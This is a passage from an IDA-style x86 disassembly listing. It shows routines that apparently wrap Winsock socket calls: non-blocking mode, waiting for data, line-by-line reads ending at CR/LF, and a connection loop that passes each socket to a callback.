		jz	loc_41A9BC


loc_41A91B:				; CODE XREF: sub_41A8C0+F6j
		mov	eax, [esi+806h]
		mov	ecx, 1
		mov	[esp+220h+var_100], eax
		mov	[esp+220h+var_104], ecx
		mov	[esp+220h+var_204], eax
		mov	[esp+220h+var_208], ecx
		mov	[esp+220h+var_210], 0
		mov	[esp+220h+var_20C], 64h
		call	edi
		sub	eax, ebp
		cmp	eax, ebx
		ja	loc_41AA24
		lea	eax, [esp+220h+var_210]
		lea	ecx, [esp+220h+var_208]
		push	eax
		mov	eax, [esi+806h]
		push	ecx
		lea	edx, [esp+228h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jz	short loc_41A9AF
		mov	edx, [esi+806h]
		lea	ecx, [esp+220h+var_208]
		push	ecx
		push	edx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	loc_41AA24
		mov	ecx, [esi+806h]
		lea	eax, [esp+220h+var_104]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41A9BC


loc_41A9AF:				; CODE XREF: sub_41A8C0+BCj
		call	sub_40195B
		test	al, al
		jnz	loc_41A91B


loc_41A9BC:				; CODE XREF: sub_41A8C0+39j
					; sub_41A8C0+48j ...
		call	sub_40195B
		test	al, al
		jz	short loc_41AA24
		mov	edx, [esp+220h+arg_4]
		mov	eax, [esp+220h+arg_0]
		mov	ecx, [esi+806h]
		push	0
		push	edx
		push	eax
		push	ecx
		nop
		call	near ptr 71AB615Ah
		mov	ecx, [esp+220h+arg_C]
		test	ecx, ecx
		jz	short loc_41A9F1
		mov	[ecx], eax


loc_41A9F1:				; CODE XREF: sub_41A8C0+12Dj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AA09
		test	eax, eax
		jz	short loc_41AA09
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AA09:				; CODE XREF: sub_41A8C0+134j
					; sub_41A8C0+138j
		nop
		call	near ptr 71AB94DCh
		pop	edi
		cmp	eax, 2733h
		pop	esi
		pop	ebp
		setz	al
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AA24:				; CODE XREF: sub_41A8C0+13j
					; sub_41A8C0+21j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 210h
		retn	10h
sub_41A8C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AAA0:				; CODE XREF: ___:00401618j
		mov	eax, [ecx+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AAF1
		mov	dl, [ecx+80Bh]
		test	dl, dl
		jz	short loc_41AAF1
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	0
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [esp+0Ch]
		test	ecx, ecx
		jz	short loc_41AAD2
		mov	[ecx], eax


loc_41AAD2:				; CODE XREF: ___:0041AACEj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AAE0
		test	eax, eax
		jz	short loc_41AAE0
		mov	al, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41AAE0:				; CODE XREF: ___:0041AAD5j
					; ___:0041AAD9j
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		setz	al
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41AAF1:				; CODE XREF: ___:0041AAA9j
					; ___:0041AAB3j
		xor	al, al
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AB20:				; CODE XREF: ___:004019B0j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40195B
		test	al, al
		jnz	short loc_41AB3C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AB3C:				; CODE XREF: ___:0041AB32j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AB52


loc_41AB48:				; CODE XREF: ___:0041AB8Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AB52:				; CODE XREF: ___:0041AB46j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41ABB6
		mov	edi, ebp


loc_41AB6B:				; CODE XREF: ___:0041ABB4j
		cmp	edi, ebx
		jz	short loc_41ABB6
		cmp	[esp+18h], bl
		jz	short loc_41ABB6
		call	sub_40195B
		test	al, al
		jz	short loc_41ABB6
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_401960
		test	al, al
		jz	short loc_41AB48
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41ABA1
		cmp	al, 0Dh
		jz	short loc_41ABA1
		cmp	al, bl
		jnz	short loc_41ABA9


loc_41ABA1:				; CODE XREF: ___:0041AB97j
					; ___:0041AB9Bj
		mov	[esi+ebp-1], bl
		mov	[esp+18h], bl


loc_41ABA9:				; CODE XREF: ___:0041AB9Fj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AB6B


loc_41ABB6:				; CODE XREF: ___:0041AB67j
					; ___:0041AB6Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AC00:				; CODE XREF: ___:00402180j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40195B
		test	al, al
		jnz	short loc_41AC1C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC1C:				; CODE XREF: ___:0041AC12j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AC32


loc_41AC28:				; CODE XREF: ___:0041AC6Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC32:				; CODE XREF: ___:0041AC26j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41AC9D
		mov	edi, ebp


loc_41AC4B:				; CODE XREF: ___:0041AC9Bj
		cmp	edi, ebx
		jz	short loc_41AC9D
		cmp	[esp+18h], bl
		jz	short loc_41AC9D
		call	sub_40195B
		test	al, al
		jz	short loc_41AC9D
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_401960
		test	al, al
		jz	short loc_41AC28
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41AC7D
		cmp	al, bl
		jnz	short loc_41AC90


loc_41AC7D:				; CODE XREF: ___:0041AC77j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41AC8A
		mov	[esi+ebp-1], bl
		jmp	short loc_41AC8C
; ---------------------------------------------------------------------------


loc_41AC8A:				; CODE XREF: ___:0041AC82j
		mov	[edi], bl


loc_41AC8C:				; CODE XREF: ___:0041AC88j
		mov	[esp+18h], bl


loc_41AC90:				; CODE XREF: ___:0041AC7Bj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AC4B


loc_41AC9D:				; CODE XREF: ___:0041AC47j
					; ___:0041AC4Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ACE0:				; CODE XREF: ___:00401082j
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41ACF2
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41ACF2:				; CODE XREF: ___:0041ACEAj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AD03
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AD03:				; CODE XREF: ___:0041ACFBj
		mov	ecx, [esp+0Ch]
		mov	edx, [esp+8]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB951Eh
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AD30	proc near		; CODE XREF: sub_401893j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41AD42
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AD42:				; CODE XREF: sub_41AD30+Aj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AD53
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AD53:				; CODE XREF: sub_41AD30+1Bj
		mov	ecx, [esp+4+arg_4]
		mov	edx, [esp+4+arg_0]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC0B50h
		pop	esi
		retn	8
sub_41AD30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AD80:				; CODE XREF: ___:00401C3Fj
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		mov	al, [esi+80Ch]
		cmp	al, cl
		mov	eax, [esi+806h]
		jnz	short loc_41ADBF
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ADB5
		cmp	[esi+80Bh], cl
		jz	short loc_41ADB5
		mov	eax, 1
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41ADB5:				; CODE XREF: ___:0041AD9Ej
					; ___:0041ADA6j
		xor	eax, eax
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41ADBF:				; CODE XREF: ___:0041AD99j
		lea	edx, [esp+4]
		mov	[esp+10h], eax
		push	edx
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jnz	short loc_41ADF5
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41ADF5:				; CODE XREF: ___:0041ADE9j
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AE50:				; CODE XREF: ___:004016E5j
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		cmp	[esi+80Ch], cl
		jnz	short loc_41AE6D
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AE6D:				; CODE XREF: ___:0041AE61j
		mov	eax, [esi+806h]
		lea	edx, [esp+4]
		push	edx
		lea	edx, [esp+10h]
		mov	[esp+14h], eax
		push	edx
		push	ecx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jnz	short loc_41AEA9
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEA9:				; CODE XREF: ___:0041AE9Dj
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AEF0:				; CODE XREF: ___:0040173Aj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, ecx
		push	800h
		lea	edx, [esi+6]
		mov	ax, [edi+4]
		lea	ecx, [edi+6]
		push	ecx
		push	edx
		mov	[esi+4], ax
		call	near ptr 77C47A90h
		nop
		xor	al, al
		add	esp, 0Ch
		mov	dword ptr [esi+806h], 0FFFFFFFFh
		mov	[esi+80Ch], al
		mov	[esi+80Bh], al
		mov	al, [edi+80Dh]
		mov	[esi+80Dh], al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AF60	proc near		; CODE XREF: sub_4018BBj

arg_0		= dword	ptr  4

		mov	al, byte ptr [esp+arg_0]
		test	al, al
		mov	[ecx+80Ch], al
		jz	short loc_41AF90
		mov	ecx, [ecx+806h]
		lea	eax, [esp+arg_0]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+0Ch+arg_0], 1
		nop
		call	near ptr 71AB4519h
		retn	4
; ---------------------------------------------------------------------------


loc_41AF90:				; CODE XREF: sub_41AF60+Cj
		mov	eax, [ecx+806h]
		lea	edx, [esp+arg_0]
		push	edx
		push	8004667Eh
		push	eax
		mov	[esp+0Ch+arg_0], 0
		nop
		call	near ptr 71AB4519h
		retn	4
sub_41AF60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401186j
		push	esi
		mov	esi, ecx
		push	0
		lea	ecx, [esi+4]
		call	sub_401C35
		mov	dword ptr [esi], offset	off_43E0C0
		mov	eax, esi
		pop	esi
		retn
sub_41AFE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B010	proc near		; CODE XREF: ___:00401915j sub_401E74j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40186B
		test	[esp+4+arg_0], 1
		jz	short loc_41B028
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B028:				; CODE XREF: sub_41B010+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B010	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B040	proc near		; CODE XREF: sub_40186Bj
		mov	dword ptr [ecx], offset	off_43E0C0
		add	ecx, 4
		jmp	sub_401FC8
sub_41B040	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B060	proc near		; CODE XREF: sub_401636j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	sub_40195B
		test	al, al
		jnz	short loc_41B072
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B072:				; CODE XREF: sub_41B060+9j
		mov	esi, [esp+8+arg_0]
		push	esi
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B0C5
		push	esi
		nop
		call	near ptr 71AB4FD4h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41B097
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B097:				; CODE XREF: sub_41B060+2Dj
		mov	eax, [edi+0Ch]
		xor	esi, esi
		cmp	dword ptr [eax], 0
		jz	short loc_41B0AC


loc_41B0A1:				; CODE XREF: sub_41B060+4Aj
		mov	ecx, [eax+4]
		add	eax, 4
		inc	esi
		test	ecx, ecx
		jnz	short loc_41B0A1


loc_41B0AC:				; CODE XREF: sub_41B060+3Fj
		call	sub_401EEC
		dec	esi
		push	esi
		push	0
		call	sub_4021A3
; ---------------------------------------------------------------------------
		mov	ecx, [edi+0Ch]
		add	esp, 8
		mov	edx, [ecx+eax*4]
		mov	eax, [edx]


loc_41B0C5:				; CODE XREF: sub_41B060+20j
		pop	edi
		pop	esi
		retn	4
sub_41B060	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B0F0:				; CODE XREF: ___:00402095j
		push	0FFFFFFFFh
		push	offset loc_43AD07
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	[esp+0Ch], ebx
		call	sub_40195B
		test	al, al
		jnz	short loc_41B12F
		mov	eax, [esp+58h]
		mov	esi, [esp+54h]
		push	eax
		mov	ecx, esi
		call	sub_401861
		jmp	loc_41B2DB
; ---------------------------------------------------------------------------


loc_41B12F:				; CODE XREF: ___:0041B118j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+30h]
		call	sub_401861
		mov	edi, 1
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], edi
		call	sub_4017E4
		test	eax, eax
		push	offset byte_446F60
		jnz	short loc_41B16C
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401861
		mov	[esp+0Ch], edi
		jmp	loc_41B2CE
; ---------------------------------------------------------------------------


loc_41B16C:				; CODE XREF: ___:0041B156j
		lea	ecx, [esp+30h]
		call	sub_4012EE
		test	eax, eax
		push	offset byte_446F60
		jnz	short loc_41B192
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401861
		mov	[esp+0Ch], edi
		jmp	loc_41B2CE
; ---------------------------------------------------------------------------


loc_41B192:				; CODE XREF: ___:0041B17Cj
		lea	ecx, [esp+18h]
		call	sub_401861
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		push	ebx
		push	ebx
		push	0Fh
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+60h], 2
		call	sub_4017E4
		push	eax
		call	sub_436FC6
; ---------------------------------------------------------------------------
		cmp	eax, ebx
		jz	short loc_41B1D6
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+0Ch], edi
		jmp	loc_41B2C0
; ---------------------------------------------------------------------------


loc_41B1D6:				; CODE XREF: ___:0041B1BBj
		mov	edi, [esp+10h]
		mov	esi, offset dword_443DC4
		mov	ecx, [edi]
		mov	eax, [ecx+4]


loc_41B1E4:				; CODE XREF: ___:0041B202j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B208
		cmp	cl, bl
		jz	short loc_41B204
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B208
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B1E4


loc_41B204:				; CODE XREF: ___:0041B1EEj
		xor	eax, eax
		jmp	short loc_41B20D
; ---------------------------------------------------------------------------


loc_41B208:				; CODE XREF: ___:0041B1EAj
					; ___:0041B1F8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B20D:				; CODE XREF: ___:0041B206j
		cmp	eax, ebx
		jz	short loc_41B27B
		push	ebp


loc_41B212:				; CODE XREF: ___:0041B265j
					; ___:0041B269j
		call	near ptr 2960743h
		nop
		and	eax, 0Fh
		cmp	al, 8
		jnz	short loc_41B226
		cmp	word ptr [edi+8], 0Fh
		jz	short loc_41B26B


loc_41B226:				; CODE XREF: ___:0041B21Dj
		mov	edi, [edi]
		mov	ebp, [esp+14h]
		cmp	edi, ebx
		jnz	short loc_41B232
		mov	edi, ebp


loc_41B232:				; CODE XREF: ___:0041B22Ej
		mov	eax, [edi+4]
		mov	esi, offset dword_443DC4


loc_41B23A:				; CODE XREF: ___:0041B258j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B25E
		cmp	cl, bl
		jz	short loc_41B25A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B25E
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B23A


loc_41B25A:				; CODE XREF: ___:0041B244j
		xor	eax, eax
		jmp	short loc_41B263
; ---------------------------------------------------------------------------


loc_41B25E:				; CODE XREF: ___:0041B240j
					; ___:0041B24Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B263:				; CODE XREF: ___:0041B25Cj
		cmp	eax, ebx
		jnz	short loc_41B212
		mov	edi, ebp
		jmp	short loc_41B212
; ---------------------------------------------------------------------------


loc_41B26B:				; CODE XREF: ___:0041B224j
		mov	eax, [edi+18h]
		lea	ecx, [esp+18h]
		push	eax
		call	sub_4015D7
		pop	ebp
		jmp	short loc_41B288
; ---------------------------------------------------------------------------


loc_41B27B:				; CODE XREF: ___:0041B20Fj
		mov	ecx, [edi+18h]
		push	ecx
		lea	ecx, [esp+18h]
		call	sub_4015D7


loc_41B288:				; CODE XREF: ___:0041B279j
		push	offset byte_446F60
		lea	ecx, [esp+18h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41B2A8
		mov	edx, [esp+58h]
		lea	ecx, [esp+14h]
		push	edx
		call	sub_4015D7


loc_41B2A8:				; CODE XREF: ___:0041B298j
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		mov	dword ptr [esp+0Ch], 1


loc_41B2C0:				; CODE XREF: ___:0041B1D1j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+4Ch], 1
		call	sub_401226


loc_41B2CE:				; CODE XREF: ___:0041B167j
					; ___:0041B18Dj
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], bl
		call	sub_401226


loc_41B2DB:				; CODE XREF: ___:0041B12Aj
		mov	ecx, [esp+44h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	8
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B390:				; CODE XREF: ___:00402135j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C35
		mov	dword ptr [esi], offset	off_43E0C4
		mov	dword ptr [esi+11h], 0
		mov	dword ptr [esi+823h], 0
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B3D0	proc near		; CODE XREF: sub_4013FCj ___:00402018j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BCC
		test	[esp+4+arg_0], 1
		jz	short loc_41B3E8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B3E8:				; CODE XREF: sub_41B3D0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B3D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B400	proc near		; CODE XREF: sub_401BCCj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41B400
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401FC8
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41B400	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B470:				; CODE XREF: ___:00401D3Ej
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C35
		mov	eax, [esp+8]
		mov	ecx, [esp+0Ch]
		mov	[esi+11h], eax
		mov	dword ptr [esi], offset	off_43E0C4
		mov	[esi+823h], ecx
		mov	eax, esi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B4B0	proc near		; CODE XREF: sub_40167Cj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 14h
		push	edi
		mov	edi, ecx
		mov	eax, [edi+11h]
		test	eax, eax
		jz	loc_41B5C0
		mov	ecx, [edi+823h]
		test	ecx, ecx
		jz	loc_41B5C0
		push	ebx
		push	ebp
		lea	ebx, [edi+15h]
		push	esi
		push	eax
		mov	ecx, ebx
		xor	esi, esi
		call	sub_401488
		mov	ebp, dword_50F8D0
		test	al, al
		jnz	short loc_41B513


loc_41B4E9:				; CODE XREF: sub_41B4B0+61j
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B5AF
		mov	al, byte_4E6E74
		test	al, al
		jz	short loc_41B513
		push	7D0h
		call	ebp
		mov	eax, [edi+11h]
		mov	ecx, ebx
		push	eax
		call	sub_401488
		test	al, al
		jz	short loc_41B4E9


loc_41B513:				; CODE XREF: sub_41B4B0+37j
					; sub_41B4B0+4Bj
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B5AF


loc_41B51E:				; CODE XREF: sub_41B4B0+F9j
		mov	al, byte_4E6E74
		test	al, al
		jz	loc_41B5AF
		test	esi, esi
		jnz	short loc_41B54E
		push	80Eh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_41B54A
		push	esi
		mov	ecx, eax
		call	sub_401C35
		jmp	short loc_41B54C
; ---------------------------------------------------------------------------


loc_41B54A:				; CODE XREF: sub_41B4B0+8Ej
		xor	eax, eax


loc_41B54C:				; CODE XREF: sub_41B4B0+98j
		mov	esi, eax


loc_41B54E:				; CODE XREF: sub_41B4B0+7Dj
		push	0
		push	0
		push	esi
		mov	ecx, ebx
		call	sub_401B81
		test	al, al
		jnz	short loc_41B567
		push	7D0h
		call	ebp
		jmp	short loc_41B5A4
; ---------------------------------------------------------------------------


loc_41B567:				; CODE XREF: sub_41B4B0+ACj
		xor	ecx, ecx
		lea	edx, [esp+24h+var_14]
		mov	[esp+24h+var_10], ecx
		lea	eax, [esp+24h+var_10]
		mov	[esp+24h+var_C], ecx
		push	edx
		mov	[esp+28h+var_8], ecx
		push	eax
		mov	[esp+2Ch+var_4], ecx
		mov	ecx, esi
		mov	[esp+2Ch+var_14], 10h
		call	sub_401893
		mov	al, byte ptr [esp+24h+var_C]
		test	al, al
		jz	short loc_41B5A4
		push	esi
		call	dword ptr [edi+823h]
		add	esp, 4


loc_41B5A4:				; CODE XREF: sub_41B4B0+B5j
					; sub_41B4B0+E8j
		mov	al, [edi+10h]
		test	al, al
		jnz	loc_41B51E


loc_41B5AF:				; CODE XREF: sub_41B4B0+3Ej
					; sub_41B4B0+68j ...
		mov	ecx, ebx
		call	sub_4014DD
		pop	esi
		pop	ebp
		pop	ebx
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41B5C0:				; CODE XREF: sub_41B4B0+Bj
					; sub_41B4B0+19j
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
sub_41B4B0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B620:				; CODE XREF: ___:00401C21j
		mov	eax, [esp+0Ch]
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		dec	eax
		mov	[ebp+0], bl
		cmp	eax, ebx
		mov	byte ptr [esp+18h], 1
		jle	short loc_41B695
		mov	esi, ebp


loc_41B63F:				; CODE XREF: ___:0041B693j
		cmp	esi, ebx
		jz	short loc_41B695
		cmp	[esp+18h], bl
		jz	short loc_41B695
		mov	ecx, [esp+14h]
		push	ebx
		push	1
		push	esi
		push	ecx
		nop
		call	near ptr 71AB615Ah
		cmp	eax, ebx
		jz	short loc_41B6A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B6A4
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_41B69D
		mov	[edi+ebp+1], bl
		mov	al, [esi]
		cmp	al, 0Ah
		jz	short loc_41B680
		cmp	al, 0Dh
		jz	short loc_41B680
		cmp	al, bl
		jnz	short loc_41B688


